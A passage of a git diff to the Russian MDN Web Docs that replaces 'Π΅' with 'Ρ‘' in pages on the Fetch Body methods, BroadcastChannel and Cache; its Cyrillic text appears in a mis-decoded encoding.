-<p>Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>getData()</code>Β ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ запрос ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор {{domxref("Request.Request")}}, послС этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΒ OGG Π·Π²ΡƒΠΊ. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ {{domxref("AudioContext.createBufferSource")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ рСсурс Π°ΡƒΠ΄ΠΈΠΎΠ±ΡƒΡ„Ρ„Π΅Ρ€Π°. ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ запроса, ΠΌΡ‹ считываСм {{domxref("ArrayBuffer")}} ΠΈΠ· ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>arrayBuffer()</code>, Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅ΠΌ Π°ΡƒΠ΄ΠΈΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("AudioContext.decodeAudioData")}}, устанавливаСм раскодированныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ рСсурс Π°ΡƒΠ΄ΠΈΠΎ Π±ΡƒΡ„Π΅Ρ€Π°Β (<code>source.buffer</code>), Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ этого рСсурса в  {{domxref("AudioContext.destination")}}.</p>
+<p>Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>getData()</code>Β ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ запрос ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор {{domxref("Request.Request")}}, послС этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΒ OGG Π·Π²ΡƒΠΊ. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ {{domxref("AudioContext.createBufferSource")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ рСсурс Π°ΡƒΠ΄ΠΈΠΎΠ±ΡƒΡ„Ρ„Π΅Ρ€Π°. ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ запроса, ΠΌΡ‹ считываСм {{domxref("ArrayBuffer")}} ΠΈΠ· ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>arrayBuffer()</code>, Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅ΠΌ Π°ΡƒΠ΄ΠΈΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("AudioContext.decodeAudioData")}}, устанавливаСм раскодированныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ рСсурс Π°ΡƒΠ΄ΠΈΠΎ Π±ΡƒΡ„Π΅Ρ€Π°Β (<code>source.buffer</code>), Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ этого рСсурса в  {{domxref("AudioContext.destination")}}.</p>
-<p>Когда функция <code>getData()</code>Β Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Π΅Ρ‚ своС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΌΡ‹ стартуСм ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ Π°ΡƒΠ΄ΠΈΠΎ рСсурса Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code>start(0)</code>, ΠΏΠΎΡ‚ΠΎΠΌ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ проигрывания для прСдотвращСния повторного проигрывания (это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти к ошибкам)</p>
+<p>Когда функция <code>getData()</code>Β Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Π΅Ρ‚ своё Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΌΡ‹ стартуСм ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ Π°ΡƒΠ΄ΠΈΠΎ рСсурса Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code>start(0)</code>, ΠΏΠΎΡ‚ΠΎΠΌ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ проигрывания для прСдотвращСния повторного проигрывания (это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти к ошибкам)</p>
<pre class="brush: js">function getData() {
source = audioCtx.createBufferSource();
diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html
index 47b40dee49..76811b032b 100644
--- a/files/ru/web/api/body/json/index.html
+++ b/files/ru/web/api/body/json/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Body/json
---
<div>{{APIRef("Fetch")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>json()</code></strong>Β , опрСдСлСн на миксинС {{domxref("Body")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ…Β <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>Request</code></a>Β ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>Response</code></a>, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Ρ‚Π΅Π»ΠΎΒ {{domxref("Response")}} stream. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ promise (ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅),Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ колбэк с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ парсинга Ρ‚Π΅Π»Π° ΠΎΡ‚Π²Π΅Ρ‚Π° Π² {{jsxref("JSON")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>json()</code></strong>Β , опрСдСлён на миксинС {{domxref("Body")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ…Β <a href="https://developer.mozilla.org/ru/docs/Web/API/Request" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>Request</code></a>Β ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/API/Response" rel="nofollow" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>Response</code></a>, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Ρ‚Π΅Π»ΠΎΒ {{domxref("Response")}} stream. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ promise (ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅),Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ колбэк с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ парсинга Ρ‚Π΅Π»Π° ΠΎΡ‚Π²Π΅Ρ‚Π° Π² {{jsxref("JSON")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -27,7 +27,7 @@ translation_of: Web/API/Body/json
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ нашСм <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a>Β (запуститС <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ запрос, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{domxref("Request.Request")}} конструктор, Π² послСдствии ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ (запрос) для получСния <code>.json</code> Ρ„Π°ΠΉΠ»Π°. Когда fetch запрос Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½,Β ΠΌΡ‹ ΠΏΡ€ΠΎΡ‡Ρ‚Π΅ΠΌ ΠΈ спарсим Π΄Π°Π½Π½Ρ‹Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>json()</code>, Π° Π΄Π°Π»Π΅Π΅ вставим значСния ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² list элСмСнты списка для отобраТСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ Π½Π°ΡˆΠ΅ΠΌΡƒΒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρƒ.</p>
+<p>Π’ нашСм <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a>Β (запуститС <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ запрос, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{domxref("Request.Request")}} конструктор, Π² послСдствии ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ (запрос) для получСния <code>.json</code> Ρ„Π°ΠΉΠ»Π°. Когда fetch запрос Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½,Β ΠΌΡ‹ ΠΏΡ€ΠΎΡ‡Ρ‚Ρ‘ΠΌ ΠΈ спарсим Π΄Π°Π½Π½Ρ‹Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>json()</code>, Π° Π΄Π°Π»Π΅Π΅ вставим значСния ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² list элСмСнты списка для отобраТСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ Π½Π°ΡˆΠ΅ΠΌΡƒΒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρƒ.</p>
<pre class="brush: js">var myList = document.querySelector('ul');
@@ -64,7 +64,7 @@ fetch(myRequest)
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, поТалуйста поТалуйста ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅Β <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌΒ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, поТалуйста поТалуйста ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅Β <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌΒ pull request.</div>
<p>{{Compat("api.Body.json")}}</p>
diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html
index b898960fe3..1f3a792ce0 100644
--- a/files/ru/web/api/broadcastchannel/index.html
+++ b/files/ru/web/api/broadcastchannel/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel
<dl>
<dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, связанный с ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΊΠ°Π½Π°Π»ΠΎΠΌ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, связанный с ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΊΠ°Π½Π°Π»ΠΎΠΌ.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -27,7 +27,7 @@ translation_of: Web/API/BroadcastChannel
<h3 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ_событий">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</h3>
</dt>
<dt>{{domxref("BroadcastChannel.onmessage")}}</dt>
- <dd>{{domxref("EventHandler")}} свойство,Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Π²Ρ‹Π·ΠΎΠ² события {{event("message")}} Π½Π° этом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅.</dd>
+ <dd>{{domxref("EventHandler")}} свойство,Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Π²Ρ‹Π·ΠΎΠ² события {{event("message")}} Π½Π° этом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅.</dd>
<dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt>
<dd>{{domxref("EventHandler")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вызываСтся, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚Β {{domxref("MessageEvent")}} Ρ‚ΠΈΠΏΠ° {{domxref("MessageError")}} β€” ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ сообщСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ дСсСрСализовано.</dd>
</dl>
diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html
index abbb139478..39bf32b534 100644
--- a/files/ru/web/api/broadcastchannel/postmessage/index.html
+++ b/files/ru/web/api/broadcastchannel/postmessage/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel/postMessage
---
<p>{{APIRef("BroadCastChannel API")}}</p>
-<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляСт сообщСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹ΠΌ {{jsxref("Object", "ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ")}}, ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π² {{glossary("browsing context", "контСкстС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°")}} с Ρ‚Π΅ΠΌ ΠΆΠ΅ {{glossary("origin")}}. Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ пСрСдаСтся Π² Π²ΠΈΠ΄Π΅ события {{event("message")}} ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ <code>BroadcastChannel</code>, привязанному ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ°Π½Π°Π»Ρƒ.</p>
+<p><strong><code>BroadcastChannel.postMessage()</code></strong> отправляСт сообщСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹ΠΌ {{jsxref("Object", "ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ")}}, ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π² {{glossary("browsing context", "контСкстС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°")}} с Ρ‚Π΅ΠΌ ΠΆΠ΅ {{glossary("origin")}}. Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ пСрСдаётся Π² Π²ΠΈΠ΄Π΅ события {{event("message")}} ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ <code>BroadcastChannel</code>, привязанному ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ°Π½Π°Π»Ρƒ.</p>
<p>{{AvailableInWorkers}}</p>
diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html
index fd32f46b8c..ae88c76901 100644
--- a/files/ru/web/api/cache/add/index.html
+++ b/files/ru/web/api/cache/add/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/Cache/add
<p>Для Π±ΠΎΠ»Π΅Π΅ слоТных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ {{domxref("Cache.put","Cache.put()")}}.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: <code>add()</code>Β ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚ Π»ΡŽΠ±ΡƒΡŽ ΠΏΠ°Ρ€Ρƒ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡΠΎΡ…Ρ€Π°Π½Π΅Π½Π½ΡƒΡŽ Ρ€Π°Π½Π΅Π΅ Π² кСшС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ запросу.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: <code>add()</code>Β ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚ Π»ΡŽΠ±ΡƒΡŽ ΠΏΠ°Ρ€Ρƒ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡΠΎΡ…Ρ€Π°Π½Ρ‘Π½Π½ΡƒΡŽ Ρ€Π°Π½Π΅Π΅ Π² кСшС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ запросу.</p>
</div>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html
index 094912bdeb..d72262f99d 100644
--- a/files/ru/web/api/cache/addall/index.html
+++ b/files/ru/web/api/cache/addall/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/Cache/addAll
</div>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ рСализация Cache (ΠΊΠ°ΠΊ Π² Blink, Ρ‚Π°ΠΊ ΠΈ Π² Gecko) Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, ΠΈ {{domxref("Cache.put")}} ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ записано Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ вСрсии спСцификации говорят, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ промис ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Π±Ρ‹Π»ΠΈ записаны Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π΄Π°ΠΆΠ΅ Ссли Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π°Β Π΅Ρ‰Π΅ формируСтся.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ рСализация Cache (ΠΊΠ°ΠΊ Π² Blink, Ρ‚Π°ΠΊ ΠΈ Π² Gecko) Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, ΠΈ {{domxref("Cache.put")}} ΠΊΠΎΠ³Π΄Π° Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ записано Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ вСрсии спСцификации говорят, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ промис ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Π±Ρ‹Π»ΠΈ записаны Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π΄Π°ΠΆΠ΅ Ссли Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π°Β Π΅Ρ‰Ρ‘ формируСтся.</p>
</div>
<div class="note">
diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html
index 5efa82b44a..846ccc2a0c 100644
--- a/files/ru/web/api/cache/delete/index.html
+++ b/files/ru/web/api/cache/delete/index.html
@@ -29,7 +29,7 @@ translation_of: Web/API/Cache/delete
<li><code>ignoreSearch</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт будСт Π»ΠΈ процСсс сопоставлСния ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку запроса Π² url.  Если установлСно Π²Β <code>true</code>, Ρ‡Π°ΡΡ‚ΡŒΒ <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Π° ΠΏΡ€ΠΈ сопоставлСнии ΠΊΠ»ΡŽΡ‡Π΅ΠΉ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π²Β <code>false</code>.</li>
<li><code>ignoreMethod</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, Ссли Ρ€Π°Π²Π½ΠΎΒ <code>true</code>, ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒΒ {{domxref("Request")}} ΠΏΡ€ΠΈ сопоставлСнии ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Π½Π°Β <code>HTTP</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>GET</code> ΠΈ <code>HEAD</code>). По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π²Β <code>false</code>.</li>
